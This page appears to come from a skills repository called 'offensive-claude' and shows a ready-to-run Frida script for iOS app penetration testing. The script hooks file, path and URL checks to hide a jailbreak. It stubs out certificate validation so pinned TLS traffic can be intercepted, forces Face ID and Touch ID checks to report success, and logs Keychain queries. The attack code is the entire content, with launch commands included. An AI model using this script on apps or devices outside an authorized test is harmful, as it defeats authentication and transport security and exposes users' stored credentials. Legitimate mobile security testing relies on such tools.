Skip to content

hypnguyen1209/offensive-claude / skills/mobile-pentest

mobile-pentest

Unverified

Use when pentesting an Android/iOS app — Frida 17 instrumentation, SSL-pinning & root/jailbreak bypass, Android 14/15 CA injection, exported-component/content-provider abuse, deep-link/WebView chains, biometric bypass, Flutter/React-Native RE

scripts/ios_bypass_suite.js

View on GitHub
/*
 * ios_bypass_suite.js — iOS all-in-one Frida agent: jailbreak-detection + SSL-pinning +
 *                       biometric bypass + Keychain/SecItem logging.
 *
 * USAGE:
 *   frida -U -f com.target.app -l ios_bypass_suite.js --no-pause
 *   frida -U -n Target -l ios_bypass_suite.js
 *
 * DEPENDENCIES:
 *   - jailbroken device (palera1n / Dopamine) with frida-server, OR a frida-gadget-repacked IPA
 *   - frida-tools on host (CLI bundles the ObjC bridge). PIN versions: if 16.6.x crashes the target
 *     under Dopamine, downgrade to frida-tools/frida-server 16.4.3 (known-stable, 2025).
 *
 * SCOPE: authorized testing only. Biometric/JB hooks defeat CLIENT-SIDE checks; they do NOT defeat
 *        SecAccessControl-gated keychain crypto or server-side App Attest / DeviceCheck.
 */
'use strict';

function log(m) { console.log('[ios] ' + m); }

/* ------------------------------------------------------------------ */
/* 1. Jailbreak-detection bypass: lie to file/path/url probes          */
/* ------------------------------------------------------------------ */
(function jailbreakBypass() {
  var JB = /Cydia|Sileo|Zebra|MobileSubstrate|substrate|frida|cycript|\/bin\/(ba)?sh|\/etc\/apt|\/usr\/sbin\/sshd|\/private\/var\/lib\/apt|jailbreak|undecimus|checkra1n|palera1n|TrollStore/i;

  ['stat', 'stat64', 'lstat', 'lstat64', 'access', 'fopen', 'open'].forEach(function (fn) {
    var p = Module.findExportByName(null, fn);
    if (!p) return;
    Interceptor.attach(p, {
      onEnter: function (args) {
        try {
          var path = args[0].readUtf8String();
          if (path && JB.test(path)) {
            args[0] = Memory.allocUtf8String('/var/nonexistent_' + Math.random().toString(36).slice(2));
          }
        } catch (e) {}
      }
    });
  });

  var dlopen = Module.findExportByName(null, 'dlopen');
  if (dlopen) {
    Interceptor.attach(dlopen, {
      onEnter: function (args) {
        try { var s = args[0].readUtf8String(); this.block = s && JB.test(s); } catch (e) { this.block = false; }
      },
      onLeave: function (ret) { if (this.block) ret.replace(ptr(0)); }
    });
  }

  if (ObjC.available) {
    var UIApp = ObjC.classes.UIApplication;
    if (UIApp && UIApp['- canOpenURL:']) {
      Interceptor.attach(UIApp['- canOpenURL:'].implementation, {
        onEnter: function (args) {
          try { this.fake = JB.test(new ObjC.Object(args[2]).toString()); } catch (e) { this.fake = false; }
        },
        onLeave: function (ret) { if (this.fake) ret.replace(ptr(0)); }
      });
    }
    // NSFileManager fileExistsAtPath:
    var FM = ObjC.classes.NSFileManager;
    if (FM && FM['- fileExistsAtPath:']) {
      Interceptor.attach(FM['- fileExistsAtPath:'].implementation, {
        onEnter: function (args) { try { this.fake = JB.test(new ObjC.Object(args[2]).toString()); } catch (e) {} },
        onLeave: function (ret) { if (this.fake) ret.replace(ptr(0)); }
      });
    }
  }
  log('jailbreak-detection hooks installed');
})();

/* ------------------------------------------------------------------ */
/* 2. SSL pinning bypass: SecTrustEvaluate* + BoringSSL custom_verify  */
/* ------------------------------------------------------------------ */
(function pinningBypass() {
  // Legacy SecTrustEvaluate -> kSecTrustResultProceed(1) / errSecSuccess(0)
  var ste = Module.findExportByName('Security', 'SecTrustEvaluate');
  if (ste) {
    Interceptor.replace(ste, new NativeCallback(function (trust, result) {
      if (!result.isNull()) result.writeU32(1);  // kSecTrustResultProceed
      return 0;                                   // errSecSuccess
    }, 'int', ['pointer', 'pointer']));
  }
  // Modern SecTrustEvaluateWithError -> return true
  var stewe = Module.findExportByName('Security', 'SecTrustEvaluateWithError');
  if (stewe) {
    Interceptor.replace(stewe, new NativeCallback(function (trust, errOut) {
      if (errOut && !errOut.isNull()) errOut.writePointer(ptr(0));
      return 1; // true
    }, 'int', ['pointer', 'pointer']));
  }
  // BoringSSL (statically linked / many cross-platform stacks)
  var custom = Module.findExportByName(null, 'SSL_CTX_set_custom_verify');
  if (custom) {
    Interceptor.attach(custom, {
      onEnter: function (args) {
        args[2] = new NativeCallback(function () { return 0; }, 'int', ['pointer', 'pointer']); // ssl_verify_ok
      }
    });
  }
  log('SSL-pinning hooks installed');
})();

/* ------------------------------------------------------------------ */
/* 3. Biometric bypass: LAContext.evaluatePolicy reply -> success      */
/* ------------------------------------------------------------------ */
(function biometricBypass() {
  if (!ObjC.available) return;
  var LAContext = ObjC.classes.LAContext;
  if (!LAContext) return;
  var sel = '- evaluatePolicy:localizedReason:reply:';
  if (!LAContext[sel]) return;
  Interceptor.attach(LAContext[sel].implementation, {
    onEnter: function (args) {
      var block = new ObjC.Block(args[4]);
      var orig = block.implementation;
      block.implementation = function (success, error) {
        log('biometric evaluatePolicy -> forcing success');
        return orig(true, NULL);
      };
    }
  });
  log('biometric (LAContext) hook installed — NOTE: does NOT defeat SecAccessControl-gated keychain');
})();

/* ------------------------------------------------------------------ */
/* 4. Keychain visibility: log SecItemCopyMatching / SecItemAdd        */
/* ------------------------------------------------------------------ */
(function keychainLogger() {
  ['SecItemCopyMatching', 'SecItemAdd'].forEach(function (fn) {
    var p = Module.findExportByName('Security', fn);
    if (!p) return;
    Interceptor.attach(p, {
      onEnter: function (args) {
        try {
          var q = new ObjC.Object(args[0]);
          log(fn + ' query: ' + q.toString());
        } catch (e) {}
      },
      onLeave: function (ret) { /* OSStatus; 0 == success */ }
    });
  });
  log('keychain SecItem* logging installed (objection `ios keychain dump` for full extraction)');
})();

log('ios_bypass_suite loaded.');
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall